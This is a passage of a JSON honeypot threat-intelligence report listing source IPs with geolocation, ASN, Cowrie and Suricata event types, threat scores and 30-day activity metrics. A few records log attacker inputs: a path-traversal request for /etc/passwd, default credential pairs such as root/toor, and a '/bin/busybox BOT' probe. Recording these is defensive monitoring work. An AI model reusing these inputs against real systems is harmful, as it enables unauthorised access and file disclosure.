        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T02:09:31.452000+00:00",
        "last_seen_30d": "2026-03-31T09:00:16.823000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 198,
        "Honeytrap": 86,
        "Cowrie": 13,
        "Mailoney": 12,
        "H0neytr4p": 8,
        "Miniprint": 8,
        "ConPot": 4,
        "Dionaea": 3,
        "Adbhoney": 2
      }
    },
    "152.32.206.181": {
      "attack_count": 12,
      "first_seen": "2026-03-31T03:07:20.502Z",
      "last_seen": "2026-03-31T03:07:40.776Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 93.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 30,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T17:56:36.441000+00:00",
        "last_seen_30d": "2026-03-31T03:08:48.823000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 143,
        "Honeytrap": 64,
        "Ciscoasa": 16,
        "Cowrie": 12,
        "Mailoney": 3
      }
    },
    "45.135.194.49": {
      "attack_count": 10,
      "first_seen": "2026-03-18T22:12:27.909Z",
      "last_seen": "2026-03-18T22:15:21.327Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Connection: close",
        "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 46.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 2173,
        "days_active_30d": 2,
        "ports_targeted_30d": 467,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-03-18T15:07:05.172000+00:00",
        "last_seen_30d": "2026-03-19T11:18:15.106000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1634,
        "Honeytrap": 482,
        "Mailoney": 18,
        "Cowrie": 10,
        "Dionaea": 10,
        "Miniprint": 8,
        "ConPot": 3,
        "Adbhoney": 2,
        "ElasticPot": 2,
        "Ciscoasa": 1,
        "CitrixHoneypot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1
      }
    },
    "80.86.229.22": {
      "attack_count": 10,
      "first_seen": "2026-03-31T16:15:56.071Z",
      "last_seen": "2026-03-31T16:15:59.446Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "toor"
      ],
      "commands_executed": [
        "system",
        "/bin/busybox BOT",
        "enable"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 205368,
      "as_org": "Fnet LLC",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T16:15:56.071000+00:00",
        "last_seen_30d": "2026-03-31T16:17:02.997000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 1
      }
    },
    "142.93.4.137": {
      "attack_count": 8,
      "first_seen": "2026-03-09T06:46:09.194Z",
      "last_seen": "2026-03-09T06:47:39.556Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 113475,
        "days_active_30d": 11,
        "ports_targeted_30d": 66067,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-03-03T13:47:56.762000+00:00",
        "last_seen_30d": "2026-03-13T14:23:39.149000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 101572,
        "Honeytrap": 11849,
        "ConPot": 9,
        "Dionaea": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "143.198.75.35": {
      "attack_count": 8,
      "first_seen": "2026-03-13T03:34:26.201Z",
      "last_seen": "2026-03-13T03:34:27.508Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 243075,
        "days_active_30d": 6,
        "ports_targeted_30d": 67979,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-03-08T01:00:03.334000+00:00",
        "last_seen_30d": "2026-03-13T03:46:19.757000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 215033,
        "Honeytrap": 27940,
        "Dionaea": 23,
        "ConPot": 18,
        "Mailoney": 18,
        "Cowrie": 8,
        "Miniprint": 8,
        "Redishoneypot": 6,
        "Adbhoney": 4,
        "Dicompot": 3,
        "Ipphoney": 3,
        "ElasticPot": 2,
        "Honeyaml": 2,
        "Tanner": 2,
        "Medpot": 1
      }
    },
    "185.220.101.47": {
      "attack_count": 8,
      "first_seen": "2026-03-03T18:51:23.800Z",
      "last_seen": "2026-03-03T18:51:44.394Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 39.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 17.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 21,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T18:51:23.800000+00:00",
        "last_seen_30d": "2026-03-23T19:36:38.120000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6,
        "Honeytrap": 4
      }
    },
    "46.33.50.48": {
      "attack_count": 8,
      "first_seen": "2026-03-31T21:51:56.836Z",
      "last_seen": "2026-03-31T21:51:59.510Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "enable",
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "system",
        "toor"
      ],
      "commands_executed": [
        "/bin/busybox BOT"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Bilhorod-Dnistrovskyi",
      "asn": 35588,
      "as_org": "Telecompany LiS LTD",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T21:51:56.836000+00:00",
        "last_seen_30d": "2026-03-31T21:53:07.743000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 1
      }
    },
    "104.236.42.179": {
      "attack_count": 6,
      "first_seen": "2026-03-10T22:15:25.273Z",
      "last_seen": "2026-03-10T22:15:25.826Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:15:25.273000+00:00",
        "last_seen_30d": "2026-03-10T22:16:35.690000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6
      }
    },
    "167.94.138.45": {
      "attack_count": 6,
      "first_seen": "2026-03-16T13:30:38.242Z",
      "last_seen": "2026-03-16T13:31:15.315Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 61.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 22,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T21:02:27+00:00",
        "last_seen_30d": "2026-03-23T06:05:29.130000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 43,
        "Cowrie": 6,
        "Dionaea": 2,
        "Sentrypeer": 1
      }
    },
    "192.155.90.118": {
      "attack_count": 6,
      "first_seen": "2026-03-07T00:18:35.802Z",
      "last_seen": "2026-03-07T00:18:36.200Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 85.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 29,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:43:56+00:00",
        "last_seen_30d": "2026-03-30T21:18:29.539000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 22,
        "Cowrie": 6,
        "ConPot": 3,
        "Dionaea": 2
      }
    },
    "198.235.24.221": {
      "attack_count": 6,
      "first_seen": "2026-03-14T10:12:44.067Z",
      "last_seen": "2026-03-20T15:17:42.948Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 28,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-03T01:36:59+00:00",
        "last_seen_30d": "2026-03-30T22:12:22.874000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 31,
        "ConPot": 18,
        "Miniprint": 9,
        "Cowrie": 6,
        "Mailoney": 5,
        "Dionaea": 1
      }
    },
    "216.45.50.28": {
      "attack_count": 6,
      "first_seen": "2026-03-04T20:37:39.677Z",
      "last_seen": "2026-03-09T07:51:20.186Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 7.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T20:37:39.677000+00:00",
        "last_seen_30d": "2026-03-09T07:52:25.235000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "45.156.129.72": {
      "attack_count": 6,
      "first_seen": "2026-03-03T02:56:21.070Z",
      "last_seen": "2026-03-03T02:56:45.091Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 73.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.4,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T02:56:21.070000+00:00",
        "last_seen_30d": "2026-03-31T15:13:08.551000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 7,
        "Cowrie": 6,
        "H0neytr4p": 1
      }
    },
    "66.132.195.63": {
      "attack_count": 6,
      "first_seen": "2026-03-30T21:24:50.543Z",
      "last_seen": "2026-03-30T21:25:26.608Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 5.0,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 6,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-25T14:12:22+00:00",
        "last_seen_30d": "2026-03-30T21:26:34.396000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6,
        "Honeytrap": 3
      }
    },
    "38.188.160.253": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:23:23.193Z",
      "last_seen": "2026-03-11T00:23:25.580Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "romeos"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:23:23.193000+00:00",
        "last_seen_30d": "2026-03-11T00:24:35.630000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "40.124.175.103": {
      "attack_count": 5,
      "first_seen": "2026-03-23T06:34:15.565Z",
      "last_seen": "2026-03-23T06:34:25.887Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T22:50:11.989000+00:00",
        "last_seen_30d": "2026-03-23T06:35:35.705000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 5,
        "ElasticPot": 1
      }
    },
    "115.190.74.101": {
      "attack_count": 4,
      "first_seen": "2026-03-13T23:37:07.631Z",
      "last_seen": "2026-03-13T23:39:07.642Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T23:37:07.631000+00:00",
        "last_seen_30d": "2026-03-13T23:49:09.478000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "139.159.144.71": {
      "attack_count": 4,
      "first_seen": "2026-03-21T03:42:38.054Z",
      "last_seen": "2026-03-21T03:44:38.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:42:38.054000+00:00",
        "last_seen_30d": "2026-03-21T03:54:39.675000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.198": {
      "attack_count": 4,
      "first_seen": "2026-03-17T10:46:44.524Z",
      "last_seen": "2026-03-17T10:46:47.939Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T23:11:52.561000+00:00",
        "last_seen_30d": "2026-03-31T19:39:18.552000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 37,
        "Cowrie": 4,
        "ConPot": 3,
        "Dionaea": 1
      }
    },
    "198.235.24.17": {
      "attack_count": 4,
      "first_seen": "2026-03-12T10:53:49.741Z",
      "last_seen": "2026-03-12T10:53:53.122Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 63.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 18.3,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 22,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-09T01:39:46.447000+00:00",
        "last_seen_30d": "2026-03-30T08:12:32.679000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "ConPot": 6,
        "Honeytrap": 6,
        "Cowrie": 4
      }
    },
    "220.87.67.230": {
      "attack_count": 4,
      "first_seen": "2026-03-15T23:20:26.062Z",
      "last_seen": "2026-03-22T12:36:32.095Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Nowon-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T23:20:26.062000+00:00",
        "last_seen_30d": "2026-03-22T12:37:33.355000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "65.49.1.135": {
      "attack_count": 4,
      "first_seen": "2026-03-20T12:53:36.968Z",
      "last_seen": "2026-03-20T12:53:41.001Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 73.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 29,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T05:57:45.882000+00:00",
        "last_seen_30d": "2026-03-31T13:47:04.148000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "74.82.47.3": {
      "attack_count": 3,
      "first_seen": "2026-03-28T06:12:06.660Z",
      "last_seen": "2026-03-28T06:12:06.662Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 270,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T05:32:28+00:00",
        "last_seen_30d": "2026-03-31T09:16:44.315000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 158,
        "Honeytrap": 105,
        "Cowrie": 3,
        "Adbhoney": 2,
        "Dionaea": 2
      }
    },
    "122.148.184.156": {
      "attack_count": 2,
      "first_seen": "2026-03-08T07:07:11.429Z",
      "last_seen": "2026-03-08T07:07:24.331Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 9443,
      "as_org": "Vocus Retail",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T07:07:11.429000+00:00",
        "last_seen_30d": "2026-03-08T07:08:29.795000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.115.147.197": {
      "attack_count": 2,
      "first_seen": "2026-03-20T13:10:28.897Z",
      "last_seen": "2026-03-20T13:10:59.300Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
